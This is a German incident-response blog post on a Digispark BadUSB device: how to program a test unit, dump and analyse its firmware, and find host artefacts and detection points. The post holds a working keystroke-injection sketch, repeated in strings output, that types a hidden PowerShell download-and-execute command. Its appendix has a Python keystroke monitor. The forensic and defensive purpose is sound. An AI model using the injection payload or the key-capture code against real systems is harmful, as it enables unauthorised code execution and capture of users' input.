This blog post is also available in English.

Bei einer unserer jüngsten Incident-Response-Untersuchungen stießen wir auf ein kleines, günstiges USB-Gerät: den Digispark Rev.3 mit ATtiny85-Mikrocontroller. Trotz seiner Größe und des niedrigen Preises ist das Gerät vielfältig einsetzbar. Es ist online leicht erhältlich und kostet in der Regel nur wenige Euro.

Auf den ersten Blick wirkt der Digispark wie ein harmloses Entwicklungsboard. In der Praxis lässt er sich jedoch für verschiedenste Zwecke programmieren. In unserem Fall war er so konfiguriert, dass er sich als USB-Tastatur ausgab und nach dem Einstecken automatisch Tastatureingaben an ein Zielsystem sendete. Im Grunde verhielt er sich wie ein USB-Rubber Ducky.

Ein USB-Rubber Ducky ist ein bekanntes Angriffswerkzeug, das sich als vertrauenswürdige Tastatur ausgibt und vordefinierte Tastatureingaben an ein System übermittelt. Geräte wie ein USB-Rubber Ducky und Digispark werden häufig für einmalige Angriffe eingesetzt. Nach dem Einstecken führen sie innerhalb weniger Sekunden bösartige Aktionen aus und können wieder entfernt werden, bevor sie einen Verdacht erregen. Je nach Payload können diese Aktionen beispielsweise Befehle ausführen, zusätzliche Malware herunterladen oder Anwendungen und Websites öffnen.

Der Einsatz beschränkt sich jedoch nicht auf kurzfristige Angriffe. Sie können auch über längere Zeit angeschlossen bleiben, um Benutzeraktivitäten zu simulieren, das Sperren des Bildschirms zu verhindern, ähnlich wie ein Mouse Jiggler, oder den Eindruck zu erwecken, dass jemand aktiv am Rechner arbeitet. Ebenso lassen sie sich für weniger schwerwiegende, aber störende Zwecke missbrauchen, etwa um zufälligen Text einzugeben, unerwünschte Tastenkombinationen auszulösen, Fenster zu öffnen oder Einstellungen zu ändern.

Der wesentliche Unterschied zwischen Rubber Ducky zum Digispark ist der Speicherort der Payload. Beim USB-Rubber Ducky befindet sich dieser auf einem austauschbaren Speichermedium, etwa einer SD-Karte. Beim Digispark ist die Logik dagegen direkt auf dem ATtiny85-Mikrocontroller gespeichert. Aus forensischer Sicht erschwert das die Analyse, da es keine leicht zugängliche Skriptdatei zur Auswertung gibt. Stattdessen muss der Code direkt vom Gerät extrahiert werden. Incident Responder benötigen daher möglicherweise sowohl Hardware-Analysen als auch hostbasierte Artefakte, um den Vorfall vollständig zu verstehen.

Ohne die richtige Vorbereitung kann dies riskant sein. Beweismittel könnten versehentlich verändert oder gelöscht oder die Platine sogar beschädigt werden. Bevor wir das tatsächliche Gerät analysierten, beschafften wir daher einen Digispark, um den Vorgang auszutesten und eine sichere Analysemethode zu entwickeln.

In diesem Artikel zeigen wir den gesamten Ablauf, von der Einrichtung und Programmierung eines Digispark als Testgerät über das Testen seines Verhaltens beim Anschluss an ein System bis hin zum Auslesen und Analysieren der Firmware mit einem kostengünstigen Setup.

Hinweis
Dieser Artikel dient ausschließlich Schulungs-, Forschungs- und autorisierten Sicherheitstestzwecken. BadUSB- und HID-Injection-Techniken (Human Interface Device, also Computerperipherie wie Tastatur oder Maus), bei denen sich ein Gerät als Eingabegerät wie eine Tastatur oder Maus ausgibt, können missbraucht werden. Setzen Sie sie daher nicht auf Systemen ein, die Ihnen nicht gehören oder für deren Tests Sie keine ausdrückliche Genehmigung haben.

Einrichten des Digispark

Um eine passende Analysemethode zu identifizieren, müssen wir zuerst unser Testgerät konfigurieren.

Programmieren des Geräts

Voraussetzungen:
• Digispark-Treiber
• Arduino IDE
• Zusätzliche Board-Manager-URL (drazzy)
• Zusätzliche Board-Manager-URL (Digistump)
• Board Manager: Digistump AVR Boards
• Board: Digispark (Standard – 16,5 MHz)

Da der Digispark eine Tastatur emuliert, wird seine Firmware so konfiguriert, dass sie beim Einstecken automatisch vordefinierte Tastatureingaben sendet oder Befehle ausführt.

Für Demonstrationszwecke verwenden wir ausschließlich harmlose Payloads. Dazu gehören Aktionen, die ein Angreifer typischerweise durchführen könnte, etwa das Herunterladen und Ausführen weiterer Payloads aus dem Internet, sowie das Öffnen einer bestimmten Website zur Veranschaulichung des Konzepts.

#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);

  // Execute the run prompt - Win+R
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);

  // Open a benign website
  DigiKeyboard.print("msedge nviso.eu");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  // Give browser time to launch
  DigiKeyboard.delay(5000);

  // Execute the run prompt - Win+R
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);

  // Execute malicious code
  DigiKeyboard.print("powershell -w hidden -ep bypass -c \"IEX (New-Object Net.WebClient).DownloadString(\'https://nviso.eu/script.ps1')\"");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {}

#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);

  // Execute the run prompt - Win+R
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);

  // Open a benign website
  DigiKeyboard.print("msedge nviso.eu");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  // Give browser time to launch
  DigiKeyboard.delay(5000);

  // Execute the run prompt - Win+R
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);

  // Execute malicious code
  DigiKeyboard.print("powershell -w hidden -ep bypass -c \"IEX (New-Object Net.WebClient).DownloadString(\'https://nviso.eu/script.ps1')\"");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {}

Kompilieren und Hochladen der Firmware

Der Digispark ist ein Arduino-kompatibles Board. Der Upload der Firmware unterscheidet sich jedoch leicht von vielen anderen Boards, da das Gerät erst angeschlossen werden soll, wenn die IDE dazu auffordert.

• In der Arduino IDE auf Upload klicken.
• Der Code wird zunächst kompiliert.
• Nach der Kompilierung fordert die IDE dazu auf, den Digispark einzustecken.
• Das Gerät erst jetzt einstecken
• Der Flash-Vorgang startet automatisch

In unseren Tests wurde das Gerät an USB-3.0-Ports nicht erkannt. Über USB 2.0 funktionierte es zuverlässiger. Außerdem sollte beachtet werden, dass die bei Digispark-Payloads häufig verwendete Tastaturbibliothek von einem US-Tastaturlayout ausgeht. Auf Systemen mit einem anderen Layout können die gesendeten Tastatureingaben abweichen.

Sobald der Upload abgeschlossen ist, ist das Gerät einsatzbereit.

Testen des programmierten Digispark

Wird der neu programmierte Digispark an ein System angeschlossen, führt er die hinterlegten Anweisungen sofort aus. Je nach Payload kann dies innerhalb weniger Sekunden geschehen, ohne dass weitere Benutzerinteraktionen erforderlich sind, abgesehen vom Einstecken selbst.

In unserem Testfall führte das Gerät unter anderem Aktionen wie das Herunterladen und Ausführen zusätzlicher Payloads aus dem Internet aus. Ein Angreifer könnte dieses Verhalten missbrauchen, um Malware auszuliefern, Persistenz herzustellen, PowerShell zu starten, Benutzerdaten zu manipulieren oder auf andere Weise die weitere Kompromittierung des betroffenen Systems zu erleichtern. Zu Demonstrationszwecken öffnet der Payload während der Ausführung außerdem eine bestimmte Website.

Ohne Verschleierung kann Microsoft Defender PowerShell-Befehle erkennen, die in einem ausgeblendeten Fenster ausgeführt werden und Invoke-Expression verwenden. Wie verschiedene ClickFix-Techniken zeigen, können solche Befehle je nach Befehlsstruktur, Richtlinien und Endpoint-Schutz dennoch ausgeführt werden, ohne blockiert zu werden.

Forensische Analyse

Im nächsten Schritt untersuchen wir, welche Funktionalität auf unserem Testgerät programmiert wurde. Anders als größere oder umfangreichere USB-Angriffsgeräte speichert der Digispark seine Firmware direkt auf dem Mikrocontroller. Um sie auszulesen, ist daher physischer Hardwarezugriff erforderlich. Glücklicherweise genügt dafür vergleichsweise kostengünstige Hardware.

Voraussetzungen
• USBasp-Programmer, ca. 7 €
• Jumper-Kabel, ca. 7 €
• Grundlegende Lötkenntnisse

Hardware-Vorbereitung

Bei der kostengünstigen Variante muss der Digispark physisch modifiziert werden. Falls das nicht akzeptabel ist, sollten stattdessen nicht-invasive Prüfwerkzeuge wie PCB-Probing-Kits oder Werkzeuge wie PCBite in Betracht gezogen werden, diese sind jedoch teurer.

Um die Firmware auszulesen, müssen zunächst Pins auf den Digispark gelötet werden. Anschließend kann das Board mit dem USBasp-Programmer verbunden werden.

Das Gerät verfügt über ein Serial Peripheral Interface (SPI). Dabei handelt es sich um ein synchrones serielles Kommunikationsprotokoll mit einer Primär-Sekundär-Architektur. SPI wird häufig in Embedded-Systemen eingesetzt, um die Kommunikation zwischen Chips zu ermöglichen. In diesem Fall kann es zum Auslesen der Digispark-Firmware verwendet werden.

Ein SPI-Bus verwendet die folgenden Signale:

• SCK: das Taktsignal
• MOSI (Master Out, Slave In): Über diese Leitung werden Daten an den sekundären Chip übertragen, in unserem Fall den ATtiny85-Mikrocontroller.
• MISO (Master In, Slave Out): Über diese Leitung werden Daten vom sekundären Chip empfangen.
• CS / RESET (Chip Select): SPI wird häufig als gemeinsamer Bus verwendet, bei dem ein primäres Gerät mit mehreren sekundären Geräten verbunden sein kann. Diese teilen sich die MISO-, MOSI- und SCK-Leitungen. Das Chip-Select-Signal wählt ein sekundäres Gerät aus und startet die Kommunikation mit ihm.

Die Pin-Belegung des Digispark Rev.3 ist wie folgt:

Zusätzlich zu den zuvor genannten SPI-Signalen müssen folgende Pins verbunden werden:

• VCC: Versorgt das Gerät mit Strom, in diesem Fall mit 5 V.
• GND: Masse beziehungsweise Referenzspannung. Sie bildet die 0-V-Basis, gegen die die anderen Signale gemessen werden.

Verkabelung

Die folgende Verkabelung kann verwendet werden, um den Digispark mit dem USBasp-Programmer zu verbinden.

Nachdem die Verkabelung abgeschlossen ist, kann der USBasp mit einer forensischen Workstation verbunden werden.

Firmware dumpen

Unter Windows besteht der erste Schritt in der Regel darin, den passenden Treiber für den USBasp zu installieren.

Installation des USBasp-Treibers und der AVR-Toolchain

1. Herunterladen und Installieren von Zadig.
2. Verbinden des USBasp mit der forensischen Workstation.
3. Auswählen von Options > List All Devices in Zadig.
4. Auswählen des USBasp aus der Geräteliste.
5. Installieren oder ersetzen des Treibers durch libusb-win32.
6. Warten auf die Erfolgsmeldung.

Um die Firmware auszulesen und weiterzuverarbeiten, sollte WinAVR installiert werden. Darin enthalten sind unter anderem die Werkzeuge avrdude, avr-objcopy und avr-objdump. Nach der Installation befinden sich die benötigten Programme im Unterordner bin des Installationsverzeichnisses.

Extrahieren und Konvertieren der Firmware

Mit den folgenden Befehlen lässt sich die Firmware des Geräts auslesen und in Formate umwandeln, die sich für die weitere Analyse eignen.

1. Auslesen des Flash-Speichers des ATtiny85 und speichern als Intel-HEX-Datei.

.\avrdude.exe -c USBasp -p t85 -U flash:r:firmware.hex:i

.\avrdude.exe -c USBasp -p t85 -U flash:r:firmware.hex:i

2. Konvertieren der HEX-Datei in eine rohe Binärdatei.

.\avr-objcopy.exe -I ihex firmware.hex -O binary firmware.bin

.\avr-objcopy.exe -I ihex firmware.hex -O binary firmware.bin

3. Disassemblieren der Binärdatei in Assembler-Code zur manuellen Prüfung.

.\avr-objdump.exe -D -b binary -m avr:25 firmware.bin > firmware.asm

.\avr-objdump.exe -D -b binary -m avr:25 firmware.bin > firmware.asm

An diesem Punkt liegt die Firmware in einer Form vor, die sich sowohl mit statischer als auch mit dynamischer Analyse untersuchen lässt.

Um sicherzustellen, dass die Verbindung zuverlässig ist, empfiehlt es sich, die Firmware mehrfach auszulesen und die Hash-Werte der Dateien zu vergleichen.

Analyse der Firmware

Für die Analyse der Firmware gibt es verschiedene Ansätze, abhängig von der Komplexität des Payloads und dem vorhandenen Kenntnisstand.

Statische Analyse

Die statische Analyse ist in der Regel der schnellste Einstieg. Sie ermöglicht es, die extrahierte Firmware zu untersuchen, ohne sie auszuführen.

Mögliche Ansätze sind:

1. Ausführen von strings gegen die Binärdatei, um lesbare Befehlsfragmente oder URLs zu identifizieren.
2. Schreiben kleiner Skripte, um bekannte Muster zu finden.
3. Reverse Engineering der Firmware in einem Tool wie Ghidra.
4. Prüfen der mit avr-objdump erzeugten disassemblierten Ausgabe.

Eine einfache Suche mithilfe von strings konnte bereits wichtige Artefakte identifizieren:

.\strings.exe firmware.bin
===========================
[...]
DigiKey
digistump.com
[...]
Zmsedge nviso.eu
powershell -w hidden -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://nviso.eu/script.ps1')"
[...]

.\strings.exe firmware.bin
===========================
[...]
DigiKey
digistump.com
[...]
Zmsedge nviso.eu
powershell -w hidden -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://nviso.eu/script.ps1')"
[...]

Zusätzlich konnte mithilfe eines Skripts eine Ereignis-Timeline auf Basis der extrahierten Binärdatei erstellt werden.

Dynamische Analyse

Die statische Analyse kann gute Hinweise auf den Payload liefern. Mit einer dynamischen Analyse lassen sich diese Erkenntnisse jedoch überprüfen und bestätigen.

Dieser Schritt sollte nur in einer sauberen und isolierten Umgebung durchgeführt werden, da das Gerät beim Einstecken sofort mit der Ausführung beginnt und ein Sicherheitsrisiko darstellen kann.

Ein mögliches Setup für die dynamische Analyse könnte Folgendes umfassen:

1. Eine isolierte virtuelle Maschine mit der Möglichkeit, das Gerät durchzureichen, oder einen dedizierten Opfer-Host
2. Host-Monitoring zur Beobachtung von Prozesserzeugung und Befehlsausführung
3. Protokollierung von Tastatureingaben oder Bildschirmaufzeichnung
4. Netzwerküberwachung, sofern relevant

Durch den Vergleich des beobachteten Verhaltens mit der extrahierten Firmware lässt sich überprüfen, ob sich das Gerät wie erwartet verhält oder ob Teile der Logik verborgen, verschleiert oder nur unter bestimmten Bedingungen ausgelöst werden.

In unserem Fall konnte die Überwachung der Tastatureingaben mit einem Python-Skript die vom Gerät ausgeführte Abfolge von Aktionen nachvollziehen.

Das Testgerät ließ sich wie geplant auslesen und der Payload analysieren, der entwickelte Analyseablauf konnte damit erfolgreich validiert werden. Derselbe Prozess kann nun auf das während des Vorfalls identifizierte Gerät angewendet werden, um die darin verborgene Funktionalität offenzulegen.

Erkennung und Host-Analyse

Sobald klar ist, welche Inhalte auf dem Mikrocontroller gespeichert waren und welche Aktionen das Gerät auf angeschlossenen Systemen ausgelöst haben könnte, stellt sich die Frage, wie sich diese Aktivitäten in einer Untersuchung nachweisen lassen. Das ist besonders wichtig, wenn das physische USB-Gerät nicht mehr verfügbar ist und sich die Untersuchung vollständig auf hostbasierte Artefakte stützen muss.

In der Praxis gibt es zwei zentrale Ansatzpunkte. Zum einen kann das Gerät selbst anhand von USB-bezogenen Spuren auf dem System erkannt werden. Zum anderen lässt sich untersuchen, was auf dem Host nach dem Anschluss des Geräts passiert ist.

Erkennung

Erkennung und Threat Hunting können häufig mit den USB-Enumerierungsdaten beginnen. In unseren Tests wurde der Digispark mit den folgenden Kombinationen aus Hersteller- und Produkt-ID erkannt:

VID_16D0&PID_0753
VID_16C0&PID_27DB

VID_16D0&PID_0753
VID_16C0&PID_27DB

Diese Kennungen dienen als guter Ausgangspunkt für die Suche über mehrere Systeme, insbesondere bei der Analyse historischer USB-Aktivitäten. Für sich allein sind sie jedoch weder ein verlässlicher Nachweis noch eine zuverlässige Erkennungsmethode. Ein wichtiger Punkt ist, dass sich VID und PID solcher Geräte ändern lassen. Ein Angreifer könnte das Gerät beispielsweise so konfigurieren, dass es sich als legitime Tastatur ausgibt und in der normalen Peripherieaktivität untergeht.

Trotzdem können bei einer Untersuchung beobachtete VID- und PID-Werte unbekannter oder verdächtiger USB-Geräte gegen öffentliche USB-Datenbanken wie Device Hunt geprüft werden, um die wahrscheinliche Hardware-Familie oder den Hersteller zu identifizieren.

Auf Windows-Systemen lassen sich diese Kennungen häufig aus mehreren Artefakten wiederherstellen, darunter Event Logs, Registry-Speicherorte und Setup-Logs.

Diese Quellen können hilfreiche Informationen liefern, etwa die erste und letzte bekannte Verbindungszeit, Hardwarekennungen und Device-Class-Informationen.

In Kombination zeigen diese Informationen, ob das verdächtige Gerät jemals angeschlossen war, wann es erkannt wurde und wie Windows es klassifiziert hat.

Host-Analyse

Wenn ein Digispark oder ein ähnliches HID-Angriffsgerät an einen Host angeschlossen wurde, sind USB-Artefakte nur ein Teil des Gesamtbildes. Sie können bestätigen, dass ein Gerät verbunden war, zeigen jedoch nicht direkt, welche Tastatureingaben gesendet oder welche Aktionen ausgeführt wurden. Um die Auswirkungen auf dem Host nachzuvollziehen, sollten daher weitere hostbasierte Artefakte überprüft werden.

Der erste Schritt besteht in der Regel darin, die Geräteverbindung über die USB-bezogenen Registry-Einträge zu bestätigen, insbesondere:

SYSTEM\CurrentControlSet\Enum\USB
SYSTEM\CurrentControlSet\Enum\HID

SYSTEM\CurrentControlSet\Enum\USB
SYSTEM\CurrentControlSet\Enum\HID

Diese Quelle kann Details zum angeschlossenen Gerät liefern, darunter Kennungen und Zeitstempel, die bei der Rekonstruktion der Timeline helfen. Je nach Fall können auch die entsprechenden Enum\HID-Einträge relevant sein, insbesondere wenn das Gerät als Human Interface Device, etwa als Tastatur, erkannt wurde.

Anschließend sollten Artefakte für Benutzeraktivität geprüft werden, die Hinweise auf Befehle enthalten können, die durch die injizierten Tastatureingaben ausgelöst wurden. Ein hilfreiches Beispiel ist der Registry-Schlüssel RunMRU:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Der RunMRU-Schlüssel speichert Befehle, die über den Windows-Ausführen-Dialog eingegeben wurden. Wenn der Digispark-Payload das Ausführen-Fenster geöffnet und von dort Befehle gestartet hat, kann dieser Schlüssel Hinweise darüber enthalten. Wenn das Gerät beispielsweise einen Befehl wie das Starten eines Browsers, das Öffnen von PowerShell oder das Starten eines Skripts über den Ausführen-Dialog ausgeführt hat, kann der Befehl möglicherweise noch aus diesem Artefakt rekonstruiert werden.

Zusätzlich zu RunMRU können je nach vermutetem Payload auch andere Host-Artefakte (z. B. PowerShell-Logs, Prefetch, Shortcut-Dateien) relevant sein.

Fazit

Der Digispark ist unauffällig, günstig und flexibel konfigurierbar. Das macht ihn zu einem attraktiven Werkzeug für HID-basierte Angriffe.

Aus forensischer Sicht bedeutet der fehlende austauschbare Speicher, dass für die Analyse direkter Zugriff auf den Mikrocontroller und zumindest grundlegende Hardwarekenntnisse erforderlich sind. Wie in diesem Beitrag gezeigt, lässt sich die Firmware jedoch mit vergleichsweise wenig Equipment und ohne großes Budget auslesen und analysieren.

Für Verteidiger ist dies eine wichtige Erinnerung daran, dass USB-Angriffe nicht auf kommerzielle Red-Team-Tools beschränkt sind. Selbst einfache Hobby-Hardware kann effektiv zweckentfremdet werden. Unbekannte USB-Geräte sollten daher grundsätzlich als potenziell bösartig betrachtet werden.

Empfehlungen

Um das Risiko durch manipulierte USB-Geräte zu verringern, empfehlen wir folgende Maßnahmen:

• Endpoints gegen verdächtige Folgeaktivitäten härten und überwachen: Verbessern Sie die Sichtbarkeit auf Endpoints sowie das Monitoring von USB-Geräten, um unautorisierte oder verdächtige Aktivitäten mit Wechseldatenträgern besser zu erkennen, zu untersuchen und im Umfang zu bestimmen. Logging und Erkennung sollten Verhaltensweisen abdecken, die häufig mit HID-Injection in Verbindung stehen, etwa den Missbrauch von Win+R, die Ausführung von PowerShell, unerwartete Prozessstarts und andere anomale Aktivitäten, die scheinbar aus normaler Benutzereingabe stammen.
  
• Physische Sicherheitsmaßnahmen in exponierten Bereichen stärken: Systeme an Orten wie Empfangsbereichen, gemeinsam genutzten Arbeitsplätzen, Besprechungsräumen oder Produktionsumgebungen sind stärker unautorisierten USB-Geräten und physischer Manipulation ausgesetzt. Wo möglich sollten Maßnahmen wie die Einschränkung des physischen Zugangs, das Verlegen sensibler Systeme, das Begrenzen des Zugangs zu USB-Ports und regelmäßige Inspektionen in Betracht gezogen werden, um Risiken zu reduzieren.
  
• Unbekannte USB-Geräte standardmäßig als bösartig behandeln: Stärken Sie das Bewusstsein der Mitarbeitenden für die Risiken im Zusammenhang mit USB-Geräten und Wechseldatenträgern, um unsicheres Verhalten zu reduzieren und die zeitnahe Meldung verdächtiger Hardware oder Aktivitäten zu fördern. Mitarbeitende sollten geschult werden, niemals nicht vertrauenswürdige oder gefundene USB-Geräte anzuschließen, selbst wenn sie harmlos erscheinen, wie z. B. Speichersticks, Tastaturen, Adapter oder Entwicklungsboards.
  
• Die Nutzung von USB-Geräten durch Device-Control-Richtlinien einschränken: Auch wenn Allowlisting auf Basis von PID/VID helfen kann, die Angriffsfläche zu verringern, ist es keine vollumfängliche Lösung, da diese Werte wie beschrieben verändert werden können. Organisationen sollten PID/VID-Filter daher als ergänzende Kontrolle betrachten und mit Monitoring, Endpoint-Sicherheit und einer strikten Autorisierung entfernbarer Peripheriegeräte kombinieren.

Anhänge

Das folgende Skript dient als einfaches Beispiel für die Aufzeichnung von Tastenanschlägen zu Monitoring- und Analysezwecken. Da es nur illustrativen Zwecken dient, kann die vollständige Funktionsfähigkeit nicht gewährleistet werden.

import ctypes
from ctypes import wintypes
from datetime import datetime
import os
import time

if os.name != "nt":
    raise SystemExit("This script is for Windows only.")

# False: show only pressed events
# True: show pressed and released events
SHOW_RELEASED = False

user32 = ctypes.WinDLL("user32", use_last_error=True)

user32.GetAsyncKeyState.argtypes = [wintypes.INT]
user32.GetAsyncKeyState.restype = wintypes.SHORT

KEYS = {
    0x08: "BACKSPACE",
    0x09: "TAB",
    0x0D: "ENTER",
    0x14: "CAPS LOCK",
    0x1B: "ESCAPE",
    0x20: "SPACE",
    0x21: "PAGE UP",
    0x22: "PAGE DOWN",
    0x23: "END",
    0x24: "HOME",
    0x25: "LEFT ARROW",
    0x26: "UP ARROW",
    0x27: "RIGHT ARROW",
    0x28: "DOWN ARROW",
    0x2C: "PRINT SCREEN",
    0x2D: "INSERT",
    0x2E: "DELETE",
    0x5B: "LEFT WIN",
    0x5C: "RIGHT WIN",
    0x5D: "MENU",
    0x90: "NUM LOCK",
    0x91: "SCROLL LOCK",

    # Left/right modifier keys
    0xA0: "LEFT SHIFT",
    0xA1: "RIGHT SHIFT",
    0xA2: "LEFT CTRL",
    0xA3: "RIGHT CTRL",
    0xA4: "LEFT ALT",
    0xA5: "RIGHT ALT",

    # Common punctuation/OEM keys
    0xBA: ";",
    0xBB: "+",
    0xBC: ",",
    0xBD: "-",
    0xBE: ".",
    0xBF: "/",
    0xC0: "`",
    0xDB: "[",
    0xDC: "\\",
    0xDD: "]",
    0xDE: "'",
    0xE2: "OEM 102",
}

# Letters A-Z
for code in range(0x41, 0x5B):
    KEYS[code] = chr(code)

# Number row 0-9
for code in range(0x30, 0x3A):
    KEYS[code] = chr(code)

# Function keys F1-F24
for number in range(1, 25):
    KEYS[0x6F + number] = f"F{number}"

# Numpad
for number in range(10):
    KEYS[0x60 + number] = f"NUMPAD {number}"

KEYS.update(
    {
        0x6A: "NUMPAD *",
        0x6B: "NUMPAD +",
        0x6D: "NUMPAD -",
        0x6E: "NUMPAD .",
        0x6F: "NUMPAD /",
    }
)


def now() -> str:
    return datetime.now().strftime("%H:%M:%S.%f")[:-3]


def is_down(virtual_key: int) -> bool:
    return bool(user32.GetAsyncKeyState(virtual_key) & 0x8000)


def pressed_modifiers() -> list[str]:
    modifiers = []

    if is_down(0xA2) or is_down(0xA3):
        modifiers.append("CTRL")

    if is_down(0xA4) or is_down(0xA5):
        modifiers.append("ALT")

    if is_down(0xA0) or is_down(0xA1):
        modifiers.append("SHIFT")

    if is_down(0x5B) or is_down(0x5C):
        modifiers.append("WIN")

    return modifiers


def main() -> None:
    states = {virtual_key: False for virtual_key in KEYS}

    modifier_keys = {
        "LEFT CTRL",
        "RIGHT CTRL",
        "LEFT ALT",
        "RIGHT ALT",
        "LEFT SHIFT",
        "RIGHT SHIFT",
        "LEFT WIN",
        "RIGHT WIN",
    }

    mode = "pressed and released" if SHOW_RELEASED else "pressed only"

    print("Visible Windows key monitor")
    print(f"Mode: {mode}")
    print("Nothing is written to disk.")
    print("Press CTRL+Q to stop.\n")

    try:
        while True:
            ctrl_down = is_down(0xA2) or is_down(0xA3)

            if ctrl_down and is_down(ord("Q")):
                break

            for virtual_key, key_name in KEYS.items():
                currently_down = is_down(virtual_key)
                previously_down = states[virtual_key]

                if currently_down and not previously_down:
                    if key_name in modifier_keys:
                        display_name = key_name
                    else:
                        modifiers = pressed_modifiers()
                        display_name = "+".join(modifiers + [key_name])

                    print(
                        f"[{now()}] PRESSED:  {display_name}",
                        flush=True,
                    )

                elif (
                    SHOW_RELEASED
                    and not currently_down
                    and previously_down
                ):
                    print(
                        f"[{now()}] RELEASED: {key_name}",
                        flush=True,
                    )

                states[virtual_key] = currently_down

            time.sleep(0.005)

    except KeyboardInterrupt:
        pass

    print("\nKey monitor stopped.")


if __name__ == "__main__":
    main()

import ctypes
from ctypes import wintypes
from datetime import datetime
import os
import time

if os.name != "nt":
    raise SystemExit("This script is for Windows only.")

# False: show only pressed events
# True: show pressed and released events
SHOW_RELEASED = False

user32 = ctypes.WinDLL("user32", use_last_error=True)

user32.GetAsyncKeyState.argtypes = [wintypes.INT]
user32.GetAsyncKeyState.restype = wintypes.SHORT

KEYS = {
    0x08: "BACKSPACE",
    0x09: "TAB",
    0x0D: "ENTER",
    0x14: "CAPS LOCK",
    0x1B: "ESCAPE",
    0x20: "SPACE",
    0x21: "PAGE UP",
    0x22: "PAGE DOWN",
    0x23: "END",
    0x24: "HOME",
    0x25: "LEFT ARROW",
    0x26: "UP ARROW",
    0x27: "RIGHT ARROW",
    0x28: "DOWN ARROW",
    0x2C: "PRINT SCREEN",
    0x2D: "INSERT",
    0x2E: "DELETE",
    0x5B: "LEFT WIN",
    0x5C: "RIGHT WIN",
    0x5D: "MENU",
    0x90: "NUM LOCK",
    0x91: "SCROLL LOCK",

    # Left/right modifier keys
    0xA0: "LEFT SHIFT",
    0xA1: "RIGHT SHIFT",
    0xA2: "LEFT CTRL",
    0xA3: "RIGHT CTRL",
    0xA4: "LEFT ALT",
    0xA5: "RIGHT ALT",

    # Common punctuation/OEM keys
    0xBA: ";",
    0xBB: "+",
    0xBC: ",",
    0xBD: "-",
    0xBE: ".",
    0xBF: "/",
    0xC0: "`",
    0xDB: "[",
    0xDC: "\\",
    0xDD: "]",
    0xDE: "'",
    0xE2: "OEM 102",
}

# Letters A-Z
for code in range(0x41, 0x5B):
    KEYS[code] = chr(code)

# Number row 0-9
for code in range(0x30, 0x3A):
    KEYS[code] = chr(code)

# Function keys F1-F24
for number in range(1, 25):
    KEYS[0x6F + number] = f"F{number}"

# Numpad
for number in range(10):
    KEYS[0x60 + number] = f"NUMPAD {number}"

KEYS.update(
    {
        0x6A: "NUMPAD *",
        0x6B: "NUMPAD +",
        0x6D: "NUMPAD -",
        0x6E: "NUMPAD .",
        0x6F: "NUMPAD /",
    }
)


def now() -> str:
    return datetime.now().strftime("%H:%M:%S.%f")[:-3]


def is_down(virtual_key: int) -> bool:
    return bool(user32.GetAsyncKeyState(virtual_key) & 0x8000)


def pressed_modifiers() -> list[str]:
    modifiers = []

    if is_down(0xA2) or is_down(0xA3):
        modifiers.append("CTRL")

    if is_down(0xA4) or is_down(0xA5):
        modifiers.append("ALT")

    if is_down(0xA0) or is_down(0xA1):
        modifiers.append("SHIFT")

    if is_down(0x5B) or is_down(0x5C):
        modifiers.append("WIN")

    return modifiers


def main() -> None:
    states = {virtual_key: False for virtual_key in KEYS}

    modifier_keys = {
        "LEFT CTRL",
        "RIGHT CTRL",
        "LEFT ALT",
        "RIGHT ALT",
        "LEFT SHIFT",
        "RIGHT SHIFT",
        "LEFT WIN",
        "RIGHT WIN",
    }

    mode = "pressed and released" if SHOW_RELEASED else "pressed only"

    print("Visible Windows key monitor")
    print(f"Mode: {mode}")
    print("Nothing is written to disk.")
    print("Press CTRL+Q to stop.\n")

    try:
        while True:
            ctrl_down = is_down(0xA2) or is_down(0xA3)

            if ctrl_down and is_down(ord("Q")):
                break

            for virtual_key, key_name in KEYS.items():
                currently_down = is_down(virtual_key)
                previously_down = states[virtual_key]

                if currently_down and not previously_down:
                    if key_name in modifier_keys:
                        display_name = key_name
                    else:
                        modifiers = pressed_modifiers()
                        display_name = "+".join(modifiers + [key_name])

                    print(
                        f"[{now()}] PRESSED:  {display_name}",
                        flush=True,
                    )

                elif (
                    SHOW_RELEASED
                    and not currently_down
                    and previously_down
                ):
                    print(
                        f"[{now()}] RELEASED: {key_name}",
                        flush=True,
                    )

                states[virtual_key] = currently_down

            time.sleep(0.005)

    except KeyboardInterrupt:
        pass

    print("\nKey monitor stopped.")


if __name__ == "__main__":
    main()

Authors (2)

Louis Flamion

Louis is a Senior Cybersecurity Consultant in NVISO’s Application Security team. He mainly focuses on security assessments of IoT systems, and mobile applications.

Linkedin

Kilian Neumair

Senior Consultant | Digital Forensics & Incident Response

Kilian Neumair is a GCFE, GNFA and GCFA-certified Incident Response & Digital Forensics Analyst within NVISO’s CSIRT.

LinkedIn